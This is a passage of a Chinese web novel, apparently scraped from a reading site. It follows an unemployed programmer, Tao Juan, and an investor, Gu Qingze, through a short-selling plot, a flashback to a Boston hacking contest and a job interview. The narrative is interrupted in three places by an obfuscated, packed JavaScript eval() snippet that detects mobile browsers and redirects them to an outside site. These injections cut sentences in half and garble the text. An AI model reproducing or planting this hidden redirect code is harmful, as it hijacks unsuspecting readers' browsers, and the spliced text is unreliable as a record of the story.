她搜“劳动仲裁”时忽然收到几个消息提示,打开微信一看,是校友群有人@她。 她失业的消息渐渐传开。 刚离职时她找过几个校友帮忙找工作,但大家日子都不好过,没人能帮上忙。还有位学姐悄悄告诉她,自己已经失业两年,干脆准备生二胎了,又问她和周测什么时候结婚。陶涓打个哈哈岔开话,人家也就识趣不再提起这茬了。 在校友群一连@她几条的是计英彦。 @陶涓唉,也难怪你不太容易找下家。 @陶涓你今年要32了吧? @陶涓我说个政治不正确的大实话啊,你这个年纪,用人单位得考虑你什么时候生育的问题,原本我们这个行业就有35岁危机,要是你一入职就怀孕,生完孩子能立刻回来吗?哺乳期还不能辞退你,那你这摊子活儿谁干? @陶涓实在不行你先结婚生子,完成人生阶段性任务再回职场嘛,哦对了,你跟周测什么时候办喜酒啊? @陶涓周医生是不是已经升副主任医师了?唉哟,他这么年轻有为,身边又那么多年轻小护士,你可得有点危机意识,没准哪个想跟你竞争上岗呢。 这嘴脸着实恶心,群里没一个人说话。 陶涓一直知道他什么德性,也不跟这种玩意儿生气,一笑了之。 计英彦是当年去波士顿参加比赛的队友之一,别人都记得在异国他乡生病时受过陶涓照顾,他却总觉得是她夺走了他得冠军的机会。 这时,学弟孟霄发微信给她:学姐,我最近接了几个短期兼职的活儿,你要是有兴趣的话告诉我,我把中介微信名片推给你。 孟霄入学时陶涓已经在方舟工作几年了,他在方舟做过实习生,虽然最后没被方舟签下,却一直很感谢那段时间陶涓罩着他。 陶涓回复:过完年要是还找不到下家,到时真要你帮忙牵线。 距离过年还有一个多月,希望到时有转机吧。 她刚点了发送,计英彦又@她:对了,你怎么没找顾清泽帮忙啊?人家现在可是好几家风投公司的实际掌权人。大学的时候他和你关系不是最好吗?你只要开个口,他随便就能给你个年薪百万的职位。 陶涓盯着手机屏幕,心脏突突乱跳,按掉屏幕后深吸了几口气还觉得胸闷,脑子还偏偏不听话地闪回她最后一次给顾清泽发微信时的情形。 她看到自己发送的消息前面出现个鲜红的感叹号,下方是一行加了灰色背景的小字:消息已发出,但被对方拒收了。 那时她还不知道她这是被拉黑了,懵了一下,举着手机问周测,“拒收?这什么意思?” 周测也愣住了,然后神情复杂摸摸她脑袋,“我们也拉黑他!这个白眼狼混蛋小子!” 那是她人生第一次,也是迄今为止唯一一次,被拉黑。 陶涓连呼了长长的几口气,心口总算不闷了,心情还是很糟,她去厨房给自己泡了杯红茶站在窗口喝。窗外的法国梧桐枯枝伶仃,在寒风风中发抖,北市的天空到了冬季总是灰蒙蒙的。今天也是如此。 她忽然凑近窗户,一片洁白的小雪花刚刚落在灰色水泥窗沿上,她还没来得及看清它的模样,它又被一阵冷风卷走。 又下雪了。 午餐后她躺在小沙发上抱着平板看曹艺萱出演的网剧,不知不觉睡着了。 她是被罗莹的语音通话铃声吵醒的。 接通后罗莹哽咽一会儿才说出第一句话:“我被开了。” 陶涓沉默,不知该怎么安慰罗莹,隔了几秒钟重重叹息:“唉。”然后又问:“你现在在哪儿?要来我家吗?” 罗莹压抑着啜泣,“我已经到家了。没事。” 她说着没事,可突然嚎啕大哭。 哭了一会儿她痛骂黄霸天,章公子来那天萝卜特失误,解决问题的是她和大刘,结果被开除的也是她和大刘,黄霸天和他的狗腿子表现得像铲除害虫,拯救公司的英雄。 “我看接下来这个项目他们怎么做!”罗莹又诅咒几句,吸溜一下鼻涕,“涓姐,公司的股票你还有吗?赶快卖!章公子他们走了之后股价大跳水,已经每股跌了几十美元!幸好我之前为了买房把股票变现了……” “我几年前就卖完了。”陶涓暗自庆幸。 方舟年终时会奖励管理层和优秀员工股票,陶涓进方舟第三年才开始领到股票奖励,当时股价才70多美元,后来慢慢涨了很多,几年前为了帮大舅筹钱全卖了,当时股价差不多150一股,罗莹和大刘都觉得她卖亏了。后来公司高层变天,方舟的股价起起落落,她每次一领到就变现,没想到反而落袋为安。 罗莹又问起找工作的事,陶涓之前看过几个可能适合她的岗位一一说了,又安慰道:“公司现在乱得一团粥似的,被开了也许从长远看不是坏事,反而是个契机。” “嗯。”罗莹又想哭,“就是……我还背着每月一万多的房贷,要是一直找不到工作怎么办?现在房市又低迷,要是把房卖了,最少要赔进去四五十万。我现在倒羡慕你,无贷一身轻。” 陶涓只好跟她比惨,“没房永远心里不踏实。今年九月我们小区合并到更好的学区了,房东阿姨想趁着房价涨了点把房卖掉。唉,要是过完年还找不到工作,我想接点兼职。” “接兼职的话,你可以去旅居,当数字游民!”罗莹又乐观起来,“要是我找不到工作就把房子租出去,哦对呀,你也可以租我房子——要是你房东卖房子的话。或者,咱们俩一起去那种月租一两千的小城市当数字游民,租金差价再加上接零工的钱,应该能过活吧?” “好好筹划一下肯定可以。” “实在不行我就回老家考公务员!” “对,这也是条路。” 挂了电话,窗沿上的雪已经积了厚厚一层,窗外的梧桐树枝挂上团团绒絮,终于看着不那么孤苦伶仃了。 一大片聚成鹅毛的雪花撞在玻璃窗上,陶涓好像听到它发出的轻微声响。 从半岛酒店的顶楼看去,窗外这片商业中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17174261|196869||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心很像是在雪花水晶球中,鳞次栉比的摩天大楼,闪闪发亮的圣诞灯饰,商场门口巨大的圣诞树,飘飘扬扬的白雪,似乎隐约还能听到圣诞歌声。 顾清泽微微皱眉,回过头,看到章秀钟靠在客厅门口,手机里正播放玛利亚凯瑞那首“All I Want for Christmas Is You”。 “你干嘛不开心?赚了几千万几亿都是这副臭脸。”章秀钟在酒柜前倒了两杯波本威士忌,递给顾清泽一杯。 “我很开心呀!”顾清泽接过酒和他碰杯,但浅啜一口就放下,又看着窗外的雪。 “哦,那你的开心可有点特别。”章秀钟打量顾清泽,忽然觉得他有些陌生。 他们从小就认识,还有点血缘关系——顾清泽的母亲章鹤龄是他堂姑。但两人真正的合作在两年前林倚山有意退出太平后才开始。 顾清泽加入后,太平后开始战略性多次购入方舟的股票和看涨期权,一年前还重本加持了20万份看涨期权。一个月前他们再次加持,同时释放出太平有意注资方舟的消息,几周前太平确认有意收购方舟人工智能研发的业务后,方舟美股的股价升到了近三年的最高点。 可是,几天前参观方舟的研发部后,顾清泽决定清仓方舟的股票看涨期权。在章秀钟看来,方舟搞的智能机器人再烂点也没关系,他们只要注资,把盘子做大,再找下一个接手的人就行,顺便还可以搞几个概念股,割一波韭菜。 类似的事顾清泽当然也干过,但这次他的反应很怪。别人也许看不出来,但是他和他从小就认识,知道他很生气。不仅是生气,还……像是很失望。 果然。抛售方舟的美股让他们获利丰厚,可顾清泽一点都不开心。 章秀钟盯着顾清泽端详,“你是不是有事瞒着我?你看起来有些失望。” 顾清泽轻哂一声,“我有什么好失望的?我们原先的计划就是,如果方舟是好的资产,我们加注投资,或者收购它的一部分业务,如果它不够好,就抛售股票赚一笔快钱。一切都是按计划进行的,我为什么会失望?” 章秀钟抿一口酒,笑着摇头,“我的直觉告诉我,你原本默认的选项不是投资也不是赚快钱。你说,接下来要做什么?继续做空方舟吗?” 太平有意投资方舟,却在参观研发部门后立即抛售全部股票,说明对方舟非常不看好,这在市场上引起了各种怀疑,加上方舟前几年的商业丑闻、高层内斗,可以预见方舟的股价会接连下跌。 顾清泽指指办公桌上的电脑,“我刚做了个模拟模型,接下来我们大量买入方舟的看跌期权,利用舆论影响让它股价再次下跌,这时我们卖掉期权兑现,再次大量买入看跌期权——循环反复,直到造成市场恐慌,触发对方舟的大规模自动抛售……” “嘶——”章秀钟吸气,“如果计划成功,方舟的股价会跌到多少?” “如果模型运算误差不大,三个月内,应该会跌到每股130到120之间。” 顾清泽说得平平淡淡,章秀钟却感到一阵颤栗,他们卖出时方舟的股价是每股185美元。如果持续做空方舟的计划成功,获利会是今天的几倍。 章秀钟开心地笑,再和顾清泽碰碰酒杯,“那就,预祝我们成功!嗯,希望到时候你能比今天更开心点。” 顾清泽只是微微一笑。 章秀钟离开前提醒顾清泽,“明天太平有酒会,记得来参加。” 坐车回太平的路上,章秀钟还在思索,顾清泽原本对方舟有什么计划。从他拿着的最早那批期权日期看,他早在他们合作前好几年就盯上了方舟。 连续做空方舟的计划很显然是临时才有的,不然,以顾清泽的性格,绝不会现在才做模型。 这些全都发生在参观方舟之后。 抛售股票,持续做空,现在看起来不是设计好的投资计划,更像是……像是在泄愤。 方舟有什么是顾清泽原本以为能得到,却没有的? 4. 心悸 最近这几年曹艺萱跟着梅姐参加过几次高档商务活动,她也不是没见过世面的人,不过,太平的平安夜酒会奢华程度还是令人惊艳。 酒会在太平顶楼玻璃顶露台举行,完全看不出经济下行期的颓势,更让人难以想象就在一年前,太平频频登上财经新闻,股价接连大跌,另一位创始人林倚山卖掉了手上股份拿钱离场,许多人推测这位林氏集团的继承人在父亲死后忙于家族内斗,无暇分心,或是想要借助兑现太平调整手上的资本,重新布局,也有民间评论家说这是资本交换筹码,顺便再割一茬股民的韭菜。 不过,她对这些都不感兴趣。她端着一杯Cosmopolitan鸡尾酒,挂上职业微笑,在满场女士中扫描。孙淳,章秀钟的秘书孙淳在哪里? 半小时后她失望地得知:孙淳今天没来。据说是得了流感。 曹艺萱暗叫法了个克的,这可怎么办? 她可是在闺蜜面前夸下了海口。 她的目光投向在人群中熠熠生辉的章公子,把这个谈笑风生的男人从头到脚扫了几遍,然后停在他身后的男秘书于骏身上。 她放下酒杯,整理一下礼服,两眼放光朝着她的猎物走去。为了闺蜜,拼了! 酒会过半,章秀钟回到顶楼套房休息。 通常他离场后再返回就会“巧遇”美女,比如刚才那位一直盯着他看的十八线小艺人。 客厅的台灯亮着,顾清泽半躺半靠在沙发上,呆呆看着空气中某个点。 “你怎么不下去玩?” 顾清泽没出声。 章秀钟给自己倒了杯气泡水,坐在顾清泽旁边喝,“你到底怎么了?” “我很好啊。” “哈,”章秀钟戏谑地笑,“有个成语,说满座宾客都在畅饮,只有一个人对着墙角郁郁寡欢,叫什么来着?” 顾清泽知道他说的是一人向隅,“刚帮你赚了几千万,还要陪你喝酒狂欢?” 章秀钟笑着摇头,“不用,不用!不过,作为酒会的主人,总要露个面,应酬应酬吧?一起去?” 顾清泽仍然摇头,“你开过那么多party,难道到现在还不知道?主人在不在,宾客们都能尽兴。” 章秀钟推他,“下去吧,今晚来了很多美女,有不少新面孔!” 顾清泽依旧意兴阑珊,“是吗?” “真的。” 顾清泽还是不动,“你去吧。” 章秀钟劝不动他,起身走了,临走前还损他,“这么年轻就不行了?” 顾清泽只当没听见。 那些美女搭话时都带着目的,他一想到这点就不耐烦。 客厅又剩下顾清泽一个人。 酒会的高潮是一场灯光秀。冷烟雾和彩色激光,从玻璃杯叠成的高塔倾泻而下的香槟,红男绿女随着现场乐队演奏的音乐舞动。 他望向下方的露台,人声鼎沸,彩光不停闪动,不知什么时候又下起了雪,露台的玻璃顶在响彻天际的欢呼中打开,被激光染成各种颜色的雪花飘向人群,落在酒杯中,香肩上,在酒酣耳热的狂欢中化为蒸汽,飘向上空。 这么热闹。 和他毫无关系。 章秀钟说他失望,其实一点没说错。 任谁处心积虑策划了近十年,却没见到成果,都会有巨大的失望和挫败感。 这份失望让他迁怒方舟,才决定做空它。 可很奇怪,当他确定他又要失望时,那种从几周前就开始的,小腹时不时爆发一下的类似痉挛的感觉,突然消失了。同时消失的,还有某种让他忽然有踏空感的情绪。 他是又失望了。但同时也松了一口气。像是原本漂浮着,突然又踩到的坚硬踏实的地面,安全了。 她不在方舟。 什么时候离开的? 要是想查,非常简单。 可他有点害怕。 只怕一查仅剩那点希望就破灭,她已经和周测结婚,生儿育女。 他想象不出自己要怎么面对那样的事实。 所以只能用这种迂回的,笨拙的,又极其耗时的方法接近她。 现在看来,这是种一早注定失败的方法。 顾清泽用力搓了搓脸,闷闷呼口气。 他想起最后一次和陶涓说话的情形,她很生气,深吸了一口气,他以为她要骂他什么,不料她这口气没呼出来转身就走。 他看她进了电梯,看电梯门合拢,看电梯上数字跳动,突然转身返回屋内,冲到厨房的窗前——那扇窗子能看到这座公寓大堂门口。 从百丈高楼看去,她的背影比平时小很多。 酒会结束后早已过了午夜。 章秀钟打开自己驾座车门,意外地看到顾清泽,“你怎么在这儿?是要给我惊喜吗?” 顾清泽靠在车窗上,都没转头看他,“刚才郑纶吐车上了。”刚才他的车还没驶出太平大厦的车道,秘书郑纶忽然干呕。 章秀钟怪笑一声,“郑纶也怀孕了吗?也孕吐了?李唯安说她现在不吐了,就是嗜睡。”李唯安是太平另一位合伙人,去美国处理事务时发现自己怀孕,因为是双胞胎,怕长途飞行有意外,就留在美国远距离工作。 顾清泽合上眼睛,摆摆手,明显不想再谈这话题,“流感。” 章秀钟还笑,“昨天孙淳一吐差点没把我吓死,以为她也怀孕了,幸好她只是流感。”他看向坐在副驾驶的于骏,想问问孙淳明天会不会继续请假,却看到此人一脸花痴样傻笑,不由来气,“你笑什么?” 于骏赶紧跟冷脸的老板解释,“就刚才兰荣文化那个美女——” 章秀钟眯眼,“嗯,她,怎么了?”这美女花了一整晚时间用炽热的目光跟随他,在最后派对的时候怎么也要跟他搭话调情吧?没想到,从头到尾是他会错意,人家盯的是他秘书于骏,对他视而不见。 “嗐,您猜她跟我搭讪是为什么?是要帮她亲戚投简历!”于骏从后视镜中看到老板笑了,如释重负,语气更轻松了,“她说她亲戚是个超厉害的程序员,名校毕业,履历完美,最近从方舟离职,哦,还得过什么国际比赛的冠军……嗯,MIT大赛?还是HIT?” “是HTI大赛!”顾清泽突然坐得笔直,“把她简历发给我。” 章秀钟看一眼顾清泽,叫于骏,“通知她来太平面试!把她简历也发给我!喂,美女加你微信了是吧?对你开放朋友圈权限了吗?” 然后,他再次看看顾清泽,意味深长,“嘿嘿。” 回到酒店后顾清泽站在起居室门口发了会儿呆,打电话叫人送他回郊区的别墅。 这别墅他不经常来,尽管有佣人每天打扫,仍然有种寂寥的气味。 他走进二楼书房,拉开写字台的抽屉,里面静静躺着一个红绒面盒子,盒盖边缘的绒已经磨得发白,盒扣也早已褪色,不过里面的奖牌依旧光亮如新。 他取出奖牌,在灯下缓慢转动。 在遇到她之前,他根本没想过要去北市上大学,不过,父亲和几位叔伯的争斗在那几年越发激烈,担心他会再次遭到意外,于是为他申请了T大。北市环境特殊,只要不蠢就不敢在那里策划什么“意外”,可他不在乎,提前到了波士顿,这里的M大才是他属意的大学。 但是她来了。 刚开始他有点拿不准她究竟是聪明?还是个天真的傻瓜? 很快他觉得她是个聪明的傻瓜。 准备比赛时他发现她思维敏捷,设计的算法和程序不仅简洁有效,还有种罕见的“灵性”。这让他非常惊奇。 为了榨出更多备赛时间,她搬来和他一起住,第二天早上他忘了预定酒店厨师服务,陶涓直接打开冰箱找了食材,做了煎蛋培根和吐司片,两人吃完后,她很自然地吩咐他洗碗盘。当时他愣住了,“我?洗碗?” 她一点也不觉得这有什么好商量的,“对啊,我做饭了,你洗碗,这不对吗?” 也有道理。比赛时也要分工合作。他乖乖去做,没告诉她,这是他第一次洗碗。 渐渐的,他们的配合越来越默契,时常只说一个词对方就能做出正确反应。这是种很新奇也很好玩的体验。 比赛前一天晚上,他以为还要再熬到半夜,没想到简短复盘后她宣布提前休息,好好吃顿饭,在楼顶露台吹吹风看看波士顿的夜景,早早睡觉。 他叫厨师准备了牛排,她不怎么会用刀叉,向他请教,又问他要的这瓶红酒产地在哪,好在哪里。 吃到一半她忽然想起来,“我一直没问,你多大了?” 他怔一下,“十六岁。我一月出生。你呢?” “我很快就二十岁了。” 她又喝了一口酒,突然说:“我记得美国18岁以下不能买酒?咱们换成可乐吧!” 他莫名笑了。 夜幕降临后,两人端着用红酒杯装的可乐趴在露台栏杆上俯瞰夜景,他想不起来他们都说了什么,可能是明天正赛遇到什么情况应该采取什么策略,也可能是别的无关紧要的东西,他只记得一阵顽皮的风把她的长发吹到他脸上,一缕湿漉漉的发梢一下打在他眼睛上。 她晚餐前刚洗过澡,头发还是半湿的,带着芬芳的橙子香,这家酒店提供的洗发水一直是这个,可这一刻他很确定这香味里含有许多别的气味。 她笑着放下杯子,两手去抓被风吹乱的头发,凑近点看他,“没事吧?打到眼睛了吗?疼不疼?” 他赶紧闭上眼睛,摇头,“没事。不疼。”但是很痒。不断有发丝吹拂在他脸上脖子上,像小猫的胡子绒毛,弄得他说不清哪里痒痒的,他偏过头才睁开眼睛,忽然间觉得自己不敢和她对视,心脏无理由地狂跳。 原本认为72小时的比赛会漫长无趣,可并不是这样。他和她忙碌而精准地完成每项计划,一步步向着最终成品推动,全程处于一种奇妙的类似心流的状态。 当一个人专注做某件事或某项运动时会有心流状态的体验,忘记周围的一切,时间似乎停止。但这不一样,他从前想象不到和另一个人一同进入这样的状态。 宣布团体赛成绩时她快乐地尖叫,雀跃欢呼着狠狠拥抱他一下,“我们赢了!”他不自觉地回应,也抱住她,“嗯。”他一时间无法说话,心跳快得吓人,像有一群蝴蝶,或 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17174262|196869||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 者,可能是一群麻雀?这群小蝴蝶小麻雀在他胸腔里扑腾着翅膀乱飞,弄得他像心悸似的呼吸急促。 团体赛成绩前五的十名选手将在第二天进行个人赛,这天晚上他们仍然很早就休息,可是他一直睡不踏实,似乎在梦中不断疾速飞驰。 个人赛开战前她跟他击拳,“待会儿比赛要是遇到我,我可不会留情啊!加油!” 几轮比赛后,她果然和他角逐冠军。 抽签之后,她防守,他进攻。 他突然想起第一天见到她和她下象棋的时候,那时他完全没有现在这样复杂的感受,他们这时的较量也可以理解为一种游戏,和象棋一样,但刺激得多,那种梦中感受的在飞驰在燃烧的感觉在现实中出现了,一种从未有过的热潮在全身涌动,身体深处不知哪里不断轻微痉挛。 她的防守如此严密,他几乎毫无机会,他不断进攻,又连续失败,不断积累的挫败让他身体里那股热潮聚成数十米高的海浪,即将爆发一场海啸。 再一次挑战失败后,他咬着牙齿低吼,突然灵光一现,把赛前预备的常用功能代码修改成僵尸病毒一股脑扔过去,造成她系统短暂的瘫痪。 高山一样的海浪落下,冲向沙滩,淹没一切。 赛事干事走进他的隔间宣布比赛结束时,顾清泽完全没反应,大量分泌肾上腺素让他大汗淋漓,心脏不断悸动,全身的肌肉还在轻微颤抖,他缓慢地站起来,脚像踩在棉花里,跟着干事走向领奖台。 陶涓已经等在那里,见到他,跑过来向他伸出手,“哇,你……”他没等她说完,用力抱住她。她愣了一下,轻轻拍他后背,“打得不错!” 要过好一阵子他才回过味来,当时她只是想和他握手。 隔天中午陶涓说要出去庆祝,她在一家本地餐厅预订了座位,吃波士顿龙虾。 吃完饭他习惯性拿出信用卡,她制止,“这一次是我请你。” 他看她付钱,有种很新奇的陌生感。 她大概是看出他有点不知怎么应付,笑着跟他说,“等会儿我们去看电影,你可以买票。” 原来是这样安排的吗? 这么安排的意义是什么? 不过……好像很好玩。 暑期档的电影很多,陶涓选了个很快就能入场的,叫《环太平洋》。 这个时候几乎没人来看电影,整个影厅里只有他们两人。 电影开始不久她就睡着了,他独自看完了整场电影,俊男美女驾驶巨型机器人最终打败怪兽拯救地球——这样的故事他原本会觉得很无聊,可他今天莫名兴奋,也许是因为影院里冷气开得太冷,看到男女主的精神高度适配,所以能够配合无间共同驾驶,他手臂上突然出了一层鸡皮疙瘩,跟着电影中的角色默念:They arepitable. 他转过头看陶涓,黑暗中,荧幕的光影投在她脸上,忽明忽暗,他第一次这么认真地观察她。她头顶有几根长出来不久的头发随着空气流动微微颤动,她的额角毛绒绒的,像个小画框围住她心形的脸,她睫毛很长,在眼睛下方和鼻梁上投下阴影,她人中和上唇之间形成一个深深的小窝,因此嘴唇上翘,仿佛在亲吻空气中的什么。 他伸出食指,颤巍巍停在她嘴唇之前的几厘米,又绕了个弧线轻轻碰了碰她睫毛尖端,不像假的。 We arepitable 从电影院出来,他对陶涓说:“我决定去北市。” 她有点惊讶,“现在才决定吗?” 赛事奖金还剩不少,陶涓决定改机票在附近再玩几天,他当然要和她一起。 然后,两人一起飞去北市。 从波士顿飞北市需要19小时,顾清泽第一次坐经济舱,一点也不觉得辛苦。机上送餐时陶涓睡着了,他帮她要了食物和果汁,帮她把耳机取下来放在一边,又问能不能再给他们一条毛毯。 空姐以为他们是一对可爱的小情侣,送毛毯时逗他,“你女朋友好可爱!”他犹豫着该不该澄清,脸颊耳朵一下热乎乎的。 应该是吧。 怎么可能不是呢? 她和他精神高度共鸣,有种奇异的默契。怎么可能不是? They arepitable. 他们高度适配。 这十几个小时,虽然周围一直有很多人,但他总有种她和他在独处的感觉。 真是很开心的长途旅行。 后来想想,完全是他一厢情愿。 在北市机场,到达大厅,陶涓突然间停止说话,她愣了一下,扔下行李箱,飞奔向人群中的一个人怀里:“不是说不能来吗?”那人是个比他大几岁的英俊男孩,他抱起她晃了晃,在她额心轻轻亲一下。 这是怎么回事? 这怎么可能? 她有男朋友? 她怎么能已经有了男朋友呢? 她应该和他顾清泽是一对啊…… 哪里出错了吧? 但是,事实就是,陶涓有个男友,他叫周测。 在遇到他之前。 在遇到他之前。 5. 面试 圣诞节早上六点多,陶涓醒了。她猜自己可能是做了个梦,但完全不记得梦到了什么,心脏像只被捕食者按在利爪下的兔子,在胸腔里拼命挣扎,每跳一下都疼。 她咳嗽着坐起来,按亮台灯找体温计。 她感到自己在发烧。 体温37.9,不算很高,但全身酸痛,眨眼时眼窝也疼。她一步一步走进厨房时感觉自己是个很久没上油的机器人,全身都生锈了。 电高压锅里白粥已经煮好,可她没胃口,配着自己做的酸辣白菜勉强吃了两口,出了点汗又感到好了些。 陶涓吃了两片退烧药重新躺下。 九点多她被电话吵醒,对方自称是太平投资人事部的,问她是否愿意来面试。 陶涓一下清醒了,“当然。” 对方告诉她,太平的一位合伙人李唯安准备休产假,之后很长一段时间会减少工作时长,所以需要再请一个副手分担工作,不过这并不是短期工作,因为明年太平会扩张业务,如果聘用她,今后的工作内容可能会有些变化,但是待遇不变。 李唯安负责为太平参与的许多项目提供数据建模,进行预测和策略分析,她已经看了陶涓的简历,认为她是合适的人选。 面试时间定在明天下午两点。 挂了电话,陶涓愣了几秒欢呼一声,赶快联系曹艺萱。 这家伙还没睡醒,“咋的了?” “哈哈,我娱乐圈唯一的人脉、我全世界唯一的小宝贝小萱萱,猜猜刚才发生什么事了?” 曹艺萱沉默一下,嗷嗷乱叫,“太平的人找你了?” “对!” 两人一起欢呼了一会儿,陶涓又咳嗽起来。 曹艺萱有些迟疑,“你是不是病得更厉害了?要不,跟人家说一下,过几天再去?” “不不不!”陶涓拒绝,“就一个面试,又不是高考,没事!” 曹艺萱太知道陶涓什么性子了,想了想,“那我明天十点到你家,给你化个妆。” “好!” 第二天早上,陶涓起得挺早。她昨晚就没再发烧了,但是心脏时不时会跳得很快,让她像一下子跑上六层楼梯似的喘不上气。她猜可能是自己有点紧张。毕竟上一次面试是十几年了。 曹艺萱十点准时到,拉了一个大行李箱。 陶涓吓一跳,“这是干嘛?” “我想不起来你上次买衣服是什么时候,担心你没有合适行头。咱俩尺寸一样,我拿了几件过来,没准能用上。” 不过,床上已经放了一套藏蓝色精纺羊毛西服,两粒扣外套配小腿长度的半裙,布料摸起来像绸缎一样光滑。 曹艺萱惊讶:“这西装什么时候买的?” 陶涓去厨房给她倒温水喝,“大学的时候。” 这西服还是顾清泽帮她选的。 HTI大赛得到一笔冠军奖金,她顿时生出豪情,先请顾清泽吃了顿波士顿龙虾大餐。 结账的时候顾清泽拿出信用卡又被她推回去时可惊讶了,像是看到龙虾又活了。 笑话。她怎么能占小朋友便宜,“待会儿看电影你买票!” 可惜,午餐吃得太饱,电影院里冷气开得很足,电影开始几分钟她就犯困,隐约记得是个帅哥美女驾驶人形机器人大战怪兽的故事,醒来时字幕都快出完了。 之后两人又去闲逛,想到大三下学期要去面试找实习生工作,陶涓决定买套西服,顾清泽就领她去了一间店。 少爷的品味是挺好,可这店里一件衬衫都要300美刀,她几乎立刻夺门而逃,但他非常坚定地说,好点的西服就是要这么贵,这还不是定制呢。 陶涓心道:少爷,你的标准跟我们草民不一样啊! 但顾清泽已经帮她选了一套,导购热情地拿来让她试穿,她只好硬着头皮进了试衣间,想穿上后给衣服挑点毛病,那就有正当理由不买了,可穿上之后她暗叫完蛋,太帅了!太完美了! 最后只能忍痛掏出钱包。 她安慰自己,只要身材不变形,这衣服能穿至少十年,平均下来一天还不到一美刀呢,咬咬牙,买了!就当是形象投资。 不过,衬衫还是算了,穿在外套里,只露出那么一小块。 即便这样,结账后HTI的赛后奖金立刻少了一半。 这重金买下的衣服就工作第一年穿了几次,其他时间都在衣柜里呆着,每年还要花一笔钱干洗。 离职当天她一回到家就把它翻出来,幸好还能穿进去。 曹艺萱欣赏衣服的裁剪,“给你选这衣服的人挺有眼光,不过——你要是搭配这个蓝色小格子衬衫去面试,年薪起码少五万!” 陶涓是不觉得她的小格子衬衫有什么问题的,不过她相信闺蜜的时尚品味。 最后,曹艺萱借给她一件白衬衫和一双小羊皮高跟短靴,还有最重要的单品,一个黑色金扣Epsom Kelly28 Sellier包包。 陶涓念了两遍才记住这包的名字。 给陶涓化妆时曹艺萱还不忘叮嘱,“千万别穿羽绒服去,穿你那件Max Mara的烟草色羊毛大衣!” 收拾停当,陶涓看看镜子,闺蜜的手艺真能化腐朽为神奇,脸色红润得非常自然,原先死气沉沉的眼睛也有了神采,她摸一下那个昂贵的包,“会不会太过隆重了?” 曹艺萱瞪她:“第一印象影响终身!何况,太平这种地方一定是先敬罗衣后敬人。等你入职了,天天呆在太平大厦地下室敲键盘,你想穿格子衬衫搭卫衣匡威都行。” 陶涓嘀咕:“我在方舟也没呆地下室敲键盘。”又挨曹艺萱一瞪。 曹艺萱刚走,陶涓又接到太平人事部的电话,问她需不需要太平派车来接。陶涓忙说自己已经约了车。 不愧是富二代公子开的公司,做事相当大方。 这么大方的公司给的薪资一定也很大方吧? 她给自己打气,加油,拿下这份有钱途的工作! 她提前十分钟到了太平大厦,没想到太平会这么重视,人事部主管亲自带她去25楼。 主要负责面试的Rosy是美国人,李唯安的副手,她详细询问了陶涓之前在方舟担任过哪些职务,负责过的项目都是哪些方向的,又问了几个专业方面的问题。 面试进行得很顺利,陶涓觉得自己比想象中冷静从容,并且,她和Rosy似乎很合得来,如果今后在一起工作应该会挺默契。 就在她以为面试快要结束时,人事部主管忽然出去接了个电话,返回后有点抱歉地问陶涓:“陶小姐,不知道您有没有时间再做一个测试?” 陶涓毫不迟疑:“当然可以。” 她没想到,所谓的测试,是黑客攻防模拟战。这也确实是对技术能力的测试。 开始后她很快发现模拟战的题目就是她当年参加HTI大赛中个人赛的题目,不过简化了一些,但规则相同,抽签成为攻防两方,在规定时间内,攻方攻破对方的防守获胜,守方成功守住就能取胜。 陶涓挺意外的,设计题目的人怎么想的?哦……也许看过她的简历后他们找到当年HTI大赛的题目来评估她的能力。 这次她抽到的是攻方,一上来就抱着速战速决的心果断大胆进攻。 很快她再次惊讶,她还以为测试会用预制的模拟防御系统,没想到对面快速应对,怎么,竟然是真有人在操作?会是Rosy吗?还是……另一个应征者? 这么一想陶涓斗志燃烧,构思攻略敲击键盘时渐渐忘了自己身在何处,时间的流速也成为她独有的,自成一体,与外界完全无关。 终于击破对方的防守后她开心地笑了一声握拳“Yes!” 她被自己这声笑带回现实,很久没在工作状态下这么开心了。 回过神她发觉人事主管不知何时离开了房间,墙上的时钟显示时间过去了近一小时。 陶涓站起来克制地活动一下僵硬的肢体,等人回来。 可十分钟过去了,谁都没来。 显示屏上倒映出她疑惑的脸,她努力回忆,测试开始前有没有说测试结束后让她去哪里?没有。 难道,他们不知道对战已经结束了? 这会不会是另一个“加试”?测试她应对这类问题时的反应? 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17174263|196869||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >她要继续等着,还是主动离开? 27楼一间办公室里,章秀钟都快憋不住笑了,他再次催促顾清泽,“你快去呀!再不去她就要走了!” 顾清泽站在窗边,两手插在裤袋里垂首看着显示屏。 他在面试过半后才来到办公室。 他自己也说不清为什么会这么别扭。 真说不清吗? 也不是。 应该是太清楚了。 他离开北市前,两人互放狠话,他当时说了不少堪称诅咒的话,说她没有上进心,只想着跟周测结婚…… 